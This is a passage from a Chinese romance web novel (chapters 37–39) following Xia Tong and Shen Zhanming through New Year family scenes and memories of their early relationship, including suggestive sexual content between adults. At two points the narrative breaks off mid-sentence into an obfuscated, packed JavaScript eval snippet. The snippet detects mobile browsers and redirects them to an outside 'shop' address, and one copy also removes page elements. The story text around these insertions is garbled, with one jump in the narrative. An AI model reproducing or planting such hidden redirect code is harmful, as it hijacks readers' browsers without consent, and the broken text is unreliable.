夏曈没有急着回家,而是下楼去找胶布。 曹欣发微信说把胶布带回家了。夏曈找过去时,还被邀请去楼上家里坐坐。 她刚要回复“好”,感知到唇上轻微痛意,下意识舔了舔,忽地想起什么。 虽没照过镜子,但夏曈敢说,她的唇已经被吻肿。若是真到了光线明亮的地方,一定会被瞧出端倪的。 尤其曹欣还特别敏锐。 她忍不住脸颊绯红,低头打字,“我先不上去啦,空着手呢,等明天我带了东西再去看叔叔阿姨。” 没过几分钟,曹欣抱着胶布下楼来。夏曈走上前,就听她笑着说:“你跟我们还客气什么?” “礼节还是要有的呀。” 夏曈低头摸了摸胶布,胶布垂着脑袋,一脸委屈地喵喵叫。她从没见胶布这样,奇怪道:“怎么看起来有点不开心?” 曹欣说起来这件事就要笑,“啊,刚才在那边说话的时候,胶布想去和院里那只狸花玩,刚凑近去就被打了两拳。狸花跳到石桌上,又骂了它好几分钟。” 狸花在这院里早就称霸了,身后跟着一帮小弟小妹,平时狂得不得了,连人类都敢揍。胶布初来乍到,竟敢妄想舔它的毛?简直胆大包天。 于是在胶布靠近它的瞬间,狸花光速出拳,并跳上石桌,占据高地,对这个外来客一顿输出。 在城市里晒太阳吃罐头的胶布哪里听过这么野的话?直接被骂懵,曹欣去抱它的时候,它还愣在那里,保持着一个可怜又搞笑的姿势,动都不敢动。 夏曈听得也笑,揉着胶布的脑袋和耳朵,“知道妈妈平时对你多好了吗?外面的猫咪都是大坏蛋。” 胶布缩在她怀里,喵呜叫了声。 曹欣挑眉:“趁机PUA?” 夏曈微笑:“是母女情深。” 她的外套拉链拉到最上面,领口遮住小半张脸,像在刻意遮掩着什么。 “你老低着头干什么?”曹欣奇怪,“现在很冷吗?” 夏曈顿了瞬,声音在羽绒服领口的后面,显得发闷,“有点。” 曹欣疑惑地看了她两眼,“那你快回去吧。哎,待会别忘了看群啊,崔源刚说了他要发红包。” “好唷,”夏曈抓着胶布的肉爪对曹欣挥手,“跟阿姨说拜拜。” 曹欣笑道:“行啦,人家正伤心呢,快回去开个肉罐头哄一哄。” 夏曈回到家时,杜静兰等人还在打麻将,身边围了好几个人看牌局。电视机里播着春晚,但没人看,沈教授站在阳台跟人讲电话,汤圆趴在沙发上玩毛绒球。 她在门口脱下羽绒服,想了想,把胶布抱得高了点,借着小猫的毛掩住自己红肿的唇,并极力降低存在感。 “我回来啦。吴伯伯好,吴婶婶好,新年快乐。” 两位老人闻声都笑着看过来,“曈曈新年快乐。” 他们的子女很早就移民国外,多年不曾回来。当初也想过把二老接过去,随时照顾方便。但人老了就会念旧,不习惯别处的生活,又舍不得相识半辈子的旧友,因此不论子女怎么劝说,也不肯点头答应,坚持在这个院里安度晚年。 杜静兰每年都会让夏曈去给他们送礼物,平时也经常敲门跟他们聊天,送些东西。二老其实什么都不缺,只是想要热闹。 此时被杜静兰请到家里打麻将,脸上笑意明显多了不少。 夏曈放轻步伐,想溜回卧室。杜静兰百忙之中抽空瞄她一眼,“你晚上就跟那只猫睡得了。” “我本来就跟它一起睡。” 杜静兰露出嫌弃的表情,“不讲卫生!” 苑菲菲微笑道:“曈曈,哥哥呢,怎么没跟你一起回来。” “他……” 夏曈有些心虚:“他回家了,嗯……可能有事要忙。” 苑菲菲垂眸看牌,打出一张七条,没注意她的紧张,“这样啊。” 夏曈嗯了两声,快步回到卧室,关上门。 她将胶布放在地上,坐在桌前望向镜子。果不其然,她原本唇色是淡淡的粉,此时却透出不寻常的红,唇角还有一道细小的伤口。 她心中暗骂沈湛明,视线下移,想起他后来咬的那几下,抬手将毛衣的扣子解开,卧室里明暖光芒洒落,照亮她胸前皙白皮肤上,淡淡的红印。 他怎么这样! 夏曈一时羞愤不已,摸到手机,给沈湛明发微信:没礼貌!色/情狂! 沈湛明不知在做什么,没回复。 夏曈气得倒在床榻,想起直到她离开,沈湛明的装束仍干净挺括、一丝不苟。 不由得更气了。 每一次,她每一次想和沈湛明贴贴之前,都踌躇满志,发誓一定要把他的衬衫扒干净,把他那副冷漠矜贵的模样弄乱、弄脏。 可是每一次,她都被沈湛明亲得晕头晕脑,连自己身上衣服什么时候被脱下来的都不知道。 夏曈气哼哼的觉得特别不公平,在沈湛明抵住她时,踩着他的腹肌不肯配合。 后来沈湛明才意识到她别扭的是什么。 可今晚,不知是过于急躁,还是别的因素。沈湛明只解了她的扣子,自己仍衣冠齐整。 夏曈很不满,决心一定要找回场子。 - 夏家平时只有睡懒觉的习惯,并不守岁。夏曈十点就洗漱上床。 为了转移注意力,她跟胶布玩了好大一会儿,在微信上跟朋友同学相互拜年。她以为能把刚才的事忘记得差不多了,谁知沈湛明这时又给她回了消息。 ——“?” 夏曈好不容易收拾好的心情,被这一个问号搅弄得不复存在。 她抿唇,手速飞快地敲字:你凭什么脱我的衣服…… 不对。 她将对话框里的字全部删除,重新打字:明天晚上,我也要脱你的…… 也不对。 夏曈把手机扔到一边,将自己埋在被窝里装死。 那边,沈湛明也许是看到她一直正在输入,却没有消息发送,问了句:你想说什么? 夏曈没回,也不玩手机了,下床去客厅找零食吃。 苑菲菲和吴伯伯他们都回去了,客厅里只有杜静兰和夏屹山在那看春晚,给各路亲朋好友发消息拜年。 夏曈走过去,从茶几上摸了只粑粑柑,又去拆薯片。杜静兰见状笑道:“不是刷牙了吗?” 夏曈吃薯片时扯到伤口,轻嘶声:“待会再刷一次。” 杜静兰听了个语音,又抬头看她一眼,“嘴巴怎么了?” 夏曈眨眼,面不改色扯谎:“有点上火。” “叫你吃这么多橘子,中午是不是还跟欣欣她们去吃烧烤了?” 杜静兰盯着她手里的零食,不赞同道,“大晚上还在吃薯片!跟你爸一样,为了那点吃的,都不知道忌口!” 夏屹山神情无辜,“我怎么了?” 杜静兰没说话,眯起眼看他的肚子。夏屹山辩解道:“我已经很久没喝过酒了,前天称体重也瘦了十来斤哪。” 杜静兰白他一眼,“幸好我是个子高,又吃不胖,否则女儿不得跟你一样?” 夏屹山挑眉:“那我好歹年轻时也高大帅气,曈曈长这么高,不得有我的功劳……” 被杜静兰瞪了一眼,夏屹山扭过身体,立刻屈服:“嗯嗯对,好基因都是你的,坏基因都是我的。” 夏曈在两位内战时,早已悄咪咪回了房间。 进屋时,手机屏幕亮了一瞬,旋即熄灭。她直觉是沈湛明的消息,打开一看,差点被柑橘呛死。 “明天让你脱我的。” 夏曈揉揉眼睛,以为自己看错了。 这次换她想发问号。 谁要脱你的啊! 就算她刚才产生过这个想法,但那只是心里想想,她可不会真的动手! 夏曈倒在床榻,彻底力竭,连小猫过来跟她咪咪叫都没心情安抚了。 沈湛明呀沈湛明。 夏曈和他相识近二十年,一直觉得他是矜持克制的类型,毕竟初吻是她主动,后来很多次亲亲也是夏曈想要。 可直到他们做过很久之后,夏曈才慢慢发现,沈湛明其实重欲,又闷骚。 他胃口大得很,他只是不说。 而夏曈那时不太懂这些,她天性好奇,总喜欢尝试新的东西,属于又菜又爱玩。 沈湛明不怎么爱玩,但他一点都不菜。 因此,虽说两人那时基本都是夏曈挑头,可每次被弄得把脸埋在枕头里淌泪的也是她。 她不知道是否男生都这样,还是只有沈湛明自己是这样。 总之,刚和他住一起那段时间,夏曈就没怎么出过门。 夏曈莫名想到这段记忆,捂住发红的脸,整个人埋进被子里。 那是什么时候呢? 大约是她大一下学期,临近期末考试那段时间。 沈湛明那边项目结束,他争取到了小半个月的休息时间,于是立刻飞回国内,去陪夏曈。 夏曈不喜欢住宿舍,集体生活让她的神经很紧张,睡眠质量受到影响,F大的宿舍条件也不怎么样。她说服杜静兰,在校外不远处的居民楼里,给她租了个小小的二居室。 沈湛明飞到S市,起初想住酒店。但夏曈一见到他就不撒手,还说想一放学就能见到他,想吃他做的饭。 若是沈湛明意志足够坚定,当然能做到拒绝。可夏曈挤进他怀里,手臂缠住他的腰,不肯撒手,一边说自己复习期末考试压力很大,一边抬头啄吻他的下巴,她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469400|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么乖,他无论如何也狠不下心,提着行李住进了她的小窝。 第一晚尚能彼此克制,夏曈睡卧室,沈湛明睡沙发。白天两人各忙各的,夏曈去学校上课,沈湛明则是还有些收尾的工作需要完成,小小的二居室没有书房,他便抱着笔记本在客厅里忙,然后掐着时间去校门口接她,再一起去超市采购食材,给她准备午餐和晚餐。 夏曈保证她会好好复习,她要拿奖学金。沈湛明当然相信她。只是她不肯去图书馆,没课时就在家里、坐在他身边复习,她又坐不住,嘴里嘟囔着“我早干什么去了,我怎么到今天才学习?”然后学一会儿就凑过来要和他接吻。 沈湛明觉得不能助长这种不良习惯,便提出要她去图书馆。 夏曈不肯,“我都这么辛苦了,你连亲亲我都不愿意吗?” 她本来复习就烦,一听这话,当即皱着脸苦恼,看起来都蔫了。 沈湛明再度败下阵来。 他叹息着,将人抱在怀里,吻她微红的唇。 到了第二晚,夏曈得寸进尺,要他到卧室和她一起睡。 沈湛明不答应,她就过去压在他身上,像只树袋熊一样抱着他脖颈,不肯下来。 沈湛明当然能撑住她的体重,但那个老旧沙发可未必能撑住两个人的体重。况且夏曈明天就要考专业课,她今晚睡不好,耽误明天发挥怎么办? 夏曈不是为了胡闹、就把期末考试抛之脑后的人,那毕竟是她自己的成绩。她就是要沈湛明答应她的无理要求,而且她笃定沈湛明一定会答应。 五分钟后,沈湛明跟她去了卧室。 他睡时姿态也好,平躺着,与她之间隔着相当的距离。 夏曈对这个距离很不满。 她侧身面对他,两根手指点在床单上,模仿着走路的样子,一点点挪过去,直到触到男人精实的、散发着热度的手臂肌肉时,才整个人俯趴过去。 沈湛明没说什么,只微侧身,将她揽进怀里。 夏曈满足地露出笑容,在黑暗中小声问他:“我们以后都这样睡,好不好?” 沈湛明默了瞬,没答应,只轻抚她的后脑,“睡吧。” 翌日,沈湛明将她叫起来吃早饭。她今天上午八点考试。 夏曈洗漱后,神清气爽地坐在餐桌。 她觉得自己跟沈湛明的关系已有了飞跃式的进步,心情很是愉悦,脸上也是笑眯眯的。 可对面沈湛明的脸色并不好,眼下淡淡疲倦。 夏曈咬了一口煎蛋,关怀道:“你没睡好吗?” 沈湛明持着瓷勺搅拌甜粥,帮她散热,“还可以。” 他是冷白皮肤,出现一点黑眼圈就会特别显眼。 夏曈眨眼,不明白他为什么要说谎。 她昨晚睡得很好,被沈湛明拥在怀里的感觉很安定舒适,可沈湛明却因此感到煎熬。 她难得起了点愧疚心理,绞尽脑汁地想了半天,轻声问:“是不是我的睡相太差了呀?” “……是。” 沈湛明抬眸瞥她一眼,像在讶异:这个满肚子坏水的夏曈曈也有心虚的时候。 夏曈低头哦了声。 可是睡相差也没办法呀。 这不是她想改就能改的。沈湛明早点习惯也好,他们以后还要在一起睡很多年呢。 沈湛明见她不吭声,深吸一口气,意有所指道:“你一直往我身上蹭,所以我睡不好。” 他的本意是让夏曈放他回沙发睡,只是措辞委婉,没明确拒绝——若态度太坚决,夏曈又要不高兴。 而他还不准备和这个年纪的夏曈发生什么。 谁知夏曈听了这话,双眼瞪得溜圆。 沈湛明以为她不愿意,刚准备开口再劝。 却见她脸颊红红,扭捏半天,以一种特别小的声音问他:“你是想和我……和我那个吗?” 沈湛明搅拌甜粥的动作顿住。 他皱起眉头,以为自己听错:“什么?” 夏曈没敢抬头看他,脸颊快埋进盘子里:“那要等到我考试后吧……” 餐桌上安静了两秒。 沈湛明放下瓷勺:“夏曈曈,你脑袋里都在想什么呢。” 夏曈反问:“不是你想的吗?” 沈湛明双眸微微睁大。 “你别忘了买安全套哦。” 夏曈抬眼飞快瞥他一下,又垂下眸光,声音小得快要听不见,“我们还是要做好措施的。” 沈湛明都不清楚她怎么把思维发散到这一步的。 可看她煞有介事的样子,又没法出声戳破她的幻想,不然她恼羞成怒,跳过来咬他怎么办? 他思索半天,半句话都组织不出来。到最后气得头疼,把甜粥推给她,起身走了。 38. 第 38 章 夏曈受了沈湛明的冷脸,烦得中午都没回去,而是和舍友在食堂怒吃了二十块的麻辣香锅。 下午的考试三点多结束,她背着包,和舍友一起,去了校区里的人工湖附近,找了个树荫处的石凳坐着复习。 这边风景秀丽,氛围安静,是个学习的好地方。 但有个坏处,就是蚊子多。 夏曈今天的裙子及膝,复习到日落时,小腿上已经被咬了好几个包,又疼又痒。 舍友们要去食堂干饭,邀她一起,夏曈看了眼微信,眉眼笑开。 沈湛明发来消息,是一张晚餐的照片,附字:乖乖,回来吃饭。 夏曈和舍友们分别,回家的路上止不住要跳起来。 她就知道,无论什么事,无论什么时候,沈湛明都会顺着她、对她服软。 她步伐轻快地返回住处,坐在餐桌边仍忍不住兴奋。沈湛明见她这副美滋滋的样子,也问:“考得很好?” 夏曈摇摇头,只看着他笑,却什么也不说。沈湛明被她看得无奈,揉揉她的脸,“吃饭。” 饭后,沈湛明站在池边刷碗,夏曈磨蹭着过去,从身后抱他,小声问:“你买那个了吗?” 沈湛明垂眸,将碗齐整地码在一起:“哪个?” 夏曈把脸埋在他背脊上,心说你还害羞起来了? 沈湛明将水关掉,收拾台面,随后抓住她试图摸他腹肌的手,“别闹,去学习。” 夏曈环抱着他的腰,仰起脸,“周五我就能考完试了。” 沈湛明看过她的考试安排,当然知道这个。 他以为她是学习压力大疯了,低头亲亲她的额头,安抚道:“嗯,考完试带你出去玩。” 夏曈不想和他出去玩。 夏曈想玩他。 可是这话不能说。她觉得自己还是矜持些比较好,这种事暗示一次就够了,如果反复提,显得她很急/色。 她抱着沈湛明的腰不肯撒手,也不动,期望沈湛明能体会她的意思。 可沈湛明榆木脑袋,铁石心肠,并不按照她的心意来。两人总在厨房站着不像话,沈湛明干脆把她抱在怀里,像抱起一只猫似的,从厨房走出来,把她放在书桌前,让她学习。 夏曈被他的不解风情给气到了,从包里取出资料摔在桌上,看沈湛明要走,“你要干什么去?” 沈湛明顿住步伐,不知她哪来这么大气性:“洗澡。” 夏曈看他表情淡定得好像什么都没发生,很大声地哼了声,再不理他。 沈湛明没懂她在气什么,但见她有乖乖复习,便放心地转身进了浴室。 夏曈听到浴室门关的声音,一脸郁卒,化悲愤为动力,复习效率反而特别高。 她刚到家就洗了一次,此时穿着短袖短裤,细白的胳膊腿儿都露在外面。沈湛明刚才抱她时,也注意着避开,没有碰到特别暧昧的部位。 但夏曈学习投入时很没有坐相,两条腿乱七八糟地伸展着,上面好几个显眼的蚊子包。沈湛明路过时看了一眼,再过来时,手里就多了瓶蚊虫叮咬的药。 药的味道很冲,盖子一打开,夏曈就蹙眉,“不要涂,它自己会好的。” 她精神专注时不喜欢任何打扰,尤其是气味。 她对气味特别敏感,一点怪味就能干扰她的思绪,宁愿忍着痒,也不想被搞得心烦意乱,“我不会抓它。” “待会睡着了你就要抓了,抓破了你又说疼。”沈湛明坐到她身边,倒在手心给她涂抹按摩,“不喜欢这个味道就先捂住鼻子。” 夏曈放下笔,一头扎进他胸膛,吸他身上的味道。 这个姿势对两人都不方便,沈湛明干脆将她抱在腿上。幸好起包的地方都在小腿,他的手掌可以仅仅停留在那个位置,而不必再向上。 也不必忍耐更多。 夏曈将脸颊贴在他颈窝,在他身上闻到石榴牛奶的甜香,笑弯了眼睛,“这个味道的沐浴乳好用吗?” 沈湛明不喜欢这个香味,但夏曈逼着他用。他在她的小窝里没有发言权,只能如此表达自己的不满,“一般。” 夏曈撇嘴,“没品味。” 沈湛明无奈勾唇,“你最有品味。” 夏曈很得意,捧着他的脸,“那当然啊。” 她的眼眸清澈明亮,如天边星子。 沈湛明低头亲了亲她,“乖。” 涂抹完毕,他将盖子阖上,准备去洗手。 谁知就在这时,一只手灵活地从他的短袖下摆钻进去,胡乱地摸了摸他的腰腹。 沈湛明眉眼压低,攥住她的手腕制止,“夏曈。” 夏曈小声说:“你刚才也摸我了。” 沈湛明纠正:“我摸的是腿。” 而且他是为了给她涂药,她有什么正当理由? “你是我的男朋友,”夏曈仿佛猜出了他的想法,扬起下巴,“我可以对你做任何事。” 她半点不惧,反正不管做什么,沈湛明都会原谅她,而后顺着她。 “不行吗?” 夏曈贴在他身上,又变成了树袋熊,探出舌尖,一点点亲他。 沈湛明被她磨得没办法,又被她小猫舔水一样的亲法亲昏了头。许久,终于看着她,低声道,“行。” 他垂着眼睫,“你可以对我做任何事,曈曈。” 沈湛明不再制止,而是松开了攥住她腕骨的手。 夏曈得逞地咬他一下,随后在他胸前和腰腹抓了个遍。但很快,她心中的兴奋和新鲜感逐渐消散。 他身上哪里都硬邦邦的,也没什么好玩。 夏曈收回手,觉得没意思,还不如捏捏她自己的脸颊肉呢。她起身,就要从他怀里离开。 恰在此时,她的余光瞥见沈湛明的居家裤上突显出一个轮廓。 ……不是她想看,而是太惹眼了。 她惊讶地抬起脸,明净清澈的目光仿佛在问他:只是摸了一下,你也能……? 实则从她吻他时,沈湛明便在忍耐。 此刻,沈湛明平静地与她对视,声音低沉微哑:“比以前有进步,至少看见也不怕了。” 夏曈红着脸。 她想起去年暑假的清晨,不经意看到沈湛明那里时,吓得不让他睡觉,还躲进卧室根本不敢见他。 她低头扣手,沈湛明将她从腿上抱下来,起身去卫生间。 水声哗啦响起。 夏曈思索半秒,起身追过去,殷勤地问他:“你要自己解决吗?” 沈湛明动作一顿。 这小丫头读大学后不知道看了什么东西,说的话一句比一句令他难以消化。 “洗手,”他眉头轻皱着,“刚才给你涂药,弄得手上都是。” 夏曈挤过去,伸手在水龙头下,“我也要洗,你刚才抓了我的手腕。” 沈湛明转头,看她笑得脸颊红红,心中暗暗叹息。 他的乖乖,平时看起来多么乖巧漂亮。 谁能想到是个坏的呢。 两人挨挤着洗完,沈湛明抽纸巾给她擦手。 狭小的浴室内,空气潮湿,温度燥热,彼此气息在暧昧中交织。 夏曈的目光落在他挺直的鼻梁,微红的唇,忽然出声道:“等周五考试完,我要睡你。” 沈湛明垂眼看她,浓黑的睫在冷白皮肤投射一片阴影。 夏曈踮脚亲他,语声喃喃:“可是我的脸皮太薄了呀,不敢去便利店买安全套。沈湛明,这个任务就交给你好不好,你周五之前去买回来。” 沈湛明知道她在给他灌迷魂药。 她未必有多么想做这种事,她只是好奇,只是想要新鲜感。 真到了床上时,临阵逃脱的一定是她。 夏曈催促他:“你在听我说话吗?” 可他制止不了夏曈的好奇心。越制止,那团火焰烧得越旺。 她想要的,一定会设法得到。 即便得到后她并不会珍惜。 即便她只是享受那个占有的过程。 沈湛明无法拒绝她。 他难道就不想吗? 当然想,他只是可以忍。 可如今忍不住撩拨的反倒是夏曈。 也许真和她做一顿,她就能老实了。 “好。” 沈湛明低声应,俯身吻她的唇,“我去买。” - 煎熬的期末周终于过去,夏曈从周五的傍晚就开始期待,等到晚饭后就推着他去洗澡。 她坐在床沿,眼神好奇地打开那个袋子。 沈湛明真是够可以的,这种东西买那么多做什么?什么时候才能用完? 他还有两周就要走了呀,难道准备在两周里用掉这些吗? 夏曈认为不太可能,至少她是不行。 她连体测都费劲,爬个四楼都喘得厉害,更别提这种耗费体力的事情。 不多时,沈湛明擦着头发走过来,修长手指点在其中一个包装,“用这个?” 夏曈摇头,挑拣半天,选出一个草莓香。 沈湛明看着她,缓慢地笑了下。 夏曈不解抬眼,“笑什么呀?” “平时吃的甜食还少么,”沈湛明轻声问,“这也要甜的?” 夏曈小声道,“我就喜欢。” 刚洗完澡的身上带着水意,将他皮肤从冷白蒸得微红,愈显得那双眉眼深邃而清隽。 卧室窗帘紧闭,空调低低嗡鸣着。空气里仿佛蕴着水汽,潮湿而燥热。夏曈仰脸看他,手臂勾住他的脖颈,将他拉下来亲吻。 她意外地主动。沈湛明暂时不动,由着她探索,看她能到哪一步。 可是还没等真正开始,夏曈就怕了。 她才十九岁,身体正处于轻盈而单薄的状态。但沈湛明已经成长得非常精实,他本就精力过人,忙碌之余又习惯锻炼,两人之间有着明显的体型差。 这种时刻,饶是沈湛明也无法保持理性。他高大健壮的身体笼罩住她,近乎全身的重量落在她身上,她推不开,于是扭着身子要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏曈很喜欢让沈湛明亲亲她。她有时被弄得狠了,要哭不哭的样子,反而能激起沈湛明的柔情,换来他不甚熟练的亲吻。 沈湛明问她,“曈曈很喜欢这样吗?” 午后时分,窗外蝉鸣躁动,梧桐枝叶在窗帘投下斑驳的影子。室内开着空调,温度清凉舒适,夏曈却热出一身的汗。 她脑子都昏了,为了求饶什么话都说,到最后带着哭腔不停地叫他哥哥。 可沈湛明并不手软,只过片刻,才笑着抬起头,哥哥都要被你淹死了。 沈湛明索求越多。最过分的一次,是两人晚上散步时,夏曈被一个留校实习的F大男生要了微信。 沈湛明那时在给她买冰激凌,隔着二十米的距离,冷冷凝视那个男生。 夏曈没给微信,但回去后仍被他推着做了一次。翌日,夏曈刚睡醒,便又被他覆在身/下。 她的睡衣被扔到一旁,沈湛明却仍穿着短袖。 与她此时没有半分遮掩的状态相比,他唯有眉头皱着,耳畔和脖颈微红,若视线停顿在腹部,不再往下,会以为他只是觉得热,而没有在做其他事情。 于是夏曈不愿意了,“凭什么你脱掉我的衣服,自己却不脱?” 沈湛明的掌心按在她的腿,低声道:“你来?” 夏曈的腿都快抽筋了,仍不甘示弱,“来就来。” 沈湛明放松了钳制她大腿的力道,她挣扎起身,将他的黑色短袖往上扯,慢慢脱掉,露出一身漂亮结实的肌肉。 窗帘缝隙有阳光照进来,夏曈得以清晰地看到那些肌肉群是如何发力。她累得像跑了八百米,还要逞强似的调侃:“那么忙碌的学业,都不能消耗掉你的体力么?” 沈湛明俯身,轻咬她的脸颊肉:“干我们这行的,最不缺的就是体力。” 夏曈认识沈湛明将近二十年,却在那个暑假,真正了解他。 他轻微洁癖、有起床气,睡觉时总会压住她的头发,压得她脑瓜疼。 高强度用脑后,他也会抱住她什么也不做,偶尔亲亲她的脸和头发,夏曈问他怎么了,他只说这样会觉得很放松。 他也会对那种事食髓知味。 夏曈不担心他的身体,毕竟他有多强悍,她深有体会。 倒是有几次,她脑袋晕晕乎乎时,怕自己被弄得肾虚。 在那两周里,夏曈帮他脱衣服,不知多少次。 沈湛明其实有逗她的意思,他故意不脱,然后等夏曈动手。 夏曈起初不懂,后来才发现他有多心机。 因此,当她看到沈湛明发的那条微信时,几乎立刻想到他们以前的点滴。 ——明天让你脱我的。 夏曈羞恼地把手机丢在床头柜,关灯睡觉。 却在半分钟后,越想越气,猛地睁眼,给沈湛明发了个语音: 想得美! 过了十几秒,又怒发一条: 谁要脱你的啊! 39. 第 39 章 沈湛明没有回复。 不知是无言,还是不相信她的自制力。 夏曈对此感到气愤。 她并不觉得男性的身体具备多少美感。尤其沈湛明,常年锻炼塑造的肌肉让他身体健壮而沉重,远不如她自己身上皮肉的柔软。夏曈有时宁肯捏捏自己的小肚子,也没兴趣去摸他的腰腹。 她以往缠着他、要脱掉他的衣物,只是出于对公平的追求。凭什么被扒光、被欣赏的是她?但多年过去,沈湛明依然习惯这样劝哄,仿佛她才是那个沉迷于肌肤相贴的人。 ——才不是呢! 夏曈怨怒地想,明明是他沉迷于此。 可恶的坏男人,自己想要,却总在勾引她。 两人同居那段时间,夏曈每天都能吃到他做的饭,她身上因此长了些肉,也真的在床上怕了他。 她问过沈湛明:高精力人士都像你这样的吗?晚上熬到这么晚,白天还能早起上班,完全不会觉得累的。 她偶尔也想问沈湛明:你医院里的同事……知道你私底下是这副模样吗? 但只是想问,她并不敢真的问出口。 怕说了,沈湛明会更对她下狠手。 如今的夏曈,已经不像年纪还弱时那样懵懂。 她熟知沈湛明的各种癖好。 也因此在与他的相处当中,琢磨出不少折磨他的办法。 - 第二天,夏曈仍未等到沈湛明的回复,却等来了杜静兰的碎碎念。 她下午闲得没事在客厅投屏看电影,茶几上摆着剥好的柑橘,被杜静兰看到了,当即一顿唠叨,“怎么又在吃?嘴巴刚上火呢,不长记性是不是?” 夏曈满不在乎地嚼嚼嚼,“你问沈湛明啊。” “又找借口。”杜静兰皱眉,“你湛明哥管这管那,还能管着你不上火?去,把你屋窗帘拉开,天气这么好都不知道晒晒太阳……” 夏曈乱七八糟地抬杠,“我是喜阴植物,阳光直射几分钟就会干枯发黄。” 杜静兰被气笑,“我是生了个苔藓?” 夏曈双眸清亮,“是呀。” 杜静兰走过来捏捏她的脸,叹息道,“你啊,什么时候能让我省点心。” 夏曈小时候不喜欢出门,爱在家里待着玩毛绒玩具、翻图画书。她身体弱,抵抗力差,出门必磕碰,杜静兰和夏屹山经常在单位忙到一半就回来带她去打针吃药。 后来沈湛明放暑假,夏曈每天都被他拽出去玩,体质才慢慢强了些。 在那个暑假,苑菲菲告诉沈湛明:夏曈是妹妹,不管什么时候,你都要爱护她。 也是在那时,夏曈模糊了对沈湛明的认知——她以为他是亲哥哥。 而她有两个妈妈,一个杜静兰,一个苑菲菲。 后来她读了小学,慢慢开智,才终于理清两家的关系。 可是对于沈湛明的依赖和信任,已经刻在骨子里。 她恍惚觉得,自己似乎应该和沈湛明保持距离。可是以往相处的点滴,又让她无法割舍。 即便是在躁动又尴尬的青春期,夏曈也经常往他身边跑。搞得沈湛明那段时间需要不停向周围人解释:她只是妹妹,不是女朋友。 他不在乎其他人的想法,但不代表他会丧心病狂到和这么小的女生谈恋爱。 夏曈一直以为自己是对沈湛明没有感觉。她很早就有了性别意识,杜静兰和苑菲菲给她及时的教育,让她懂得该如何与男同学正常相处,也具备应有的防备心和警惕意识。 可沈湛明是哥哥啊。 她怎么会对哥哥产生男女之间的感觉?不可能嘛。 所以,又有什么必要保持距离呢? 夏曈对他仍抱有亲近的欲/望。 只不过,她开始有意无意地询问他的事情,她对他产生了好奇心。与此同时,她依然喜欢在他面前衣着清凉,依然喜欢把不喜欢吃的冰激凌递给他解决。 直到某次,她逛街累了,抱住沈湛明的胳膊想要偷懒时,被他按住肩膀,强势且不容抗拒地推开。 被沈湛明有意疏远了两个月后,夏曈后知后觉,她并非对沈湛明没有感觉。 只是那份熟悉与信任带来的安全感,压过了青春期性意识萌动的紧张。 - 杜静兰又想起一件事,“曈曈,你湛明哥初三就得走了,你这次能多住几天?” 夏曈想了想,“初八吧。” “嗯,多住几天好。” 杜静兰点头,又感慨着叹息,“跟你湛明哥似的,太忙也不行。他今年都多大了,连个女朋友都不找,你菲菲阿姨也是,到现在都不急。曈曈,你……” 夏曈心里有种不好的预感,起身逃离现场,“我有事先出去啦。” 杜静兰:“……我还没开口呢。” 她酝酿许久的话被堵在喉咙间,憋得无处发泄,到最后坐在沙发,长长叹了口气。 夏屹山早就察觉氛围不对,抱着汤圆躲去了阳台。 - 沈湛明初三就得回S市,他的职业并不允许他拥有太多假期。而初二那晚,他要去拜访同在葳市的恩师。 这位恩师,是葳大医学院的老教授,当年沈湛明在某个项目遇到难处,得了他的诸多指导,多年过去仍心存感激。夏曈见过一次,是位头发花白的老先生,在业内威望颇高,据说当年还教过沈教授。 沈湛明具备一定的道德,以及很好的向上社交的能力,也愿意为此付出时间与精力。 与他相比,夏曈就是条咸鱼。 有些事她不是不会,而是懒得动这些心思。她在人生的前二十年里就取得了世俗意义上的成功——名校与金钱。尽管这在热爱事业的杜静兰女士眼里仍不够看,但她已经很知足。 与绷紧神经继续打拼相比,她宁愿窝在家里玩猫看漫画,亦或漫无目的散步吹风。即便她准备年后开工作室,但不慌不忙仍是永恒的节奏。 也许她永远无法发挥自己的极限。 不过她原本就低精力,能做到这种程度已经很满意了。发挥极限岂不是要她小命? 夏曈办正事缺乏执行力,但轮到使坏,她一定是第一个。 今晚,她有件事一定要做。 晚上,她洗完澡坐在床边,等涂好的身体乳被皮肤吸收,同时打字问沈湛明:多久能回来呀? 沈湛明应该不方便看手机,过了会才回她语音:“大约十分钟后,有事?” 背景里有打转向灯的嘀嗒声,他正在开车。 夏曈没回复,而是换好裙子出门。 夜空落下小雪,细碎晶莹。出了院子右拐,是一条幽静宽敞的梧桐道,道旁有个废弃的篮球场。 夏曈小时候,经常能看到院里的哥哥们在这里打球。 但随着时代变迁,当初那批孩子长大,这个场地也就无人使用,篮筐都裂了,倒是变成个露天停车场。院里那段路不好开,许多回来过年的人就把车停在这里。 夏曈记得,沈湛明的车停在不起眼的角落处。那里种着几株广玉兰,旁边还有刘阿姨家的橘子树。 夜晚的梧桐道没有人影,微风里裹着寒意,她站定在树枝投射下的阴影。 此处光线昏暗,她倚靠在树身后,若非打开远光,看不到她的身影。 不多时,沈湛明的车子开过来。 路面的薄雪被轮胎碾过,发出轻微的响声。车子停好,车厢内并未开灯,沈湛明的脸孔与肩颈都隐在黑暗处,看不真切。 就在此时,夏曈快步走近,打开副驾驶的门,上车,旋即砰地关闭车门。 车门关阖,在狭小的空间内震荡出沉闷的声响。 沈湛明转头看她,视线穿透黑暗,落在她被夜晚寒风吹得发红的脸颊。 他眉心微蹙,正要出言,却见她上车后,并不老老实实地坐在副驾驶,而是一只膝盖跪在车座,探着身子吻了过来。 从开门、关门、俯身强吻他,整个动作一气呵成。 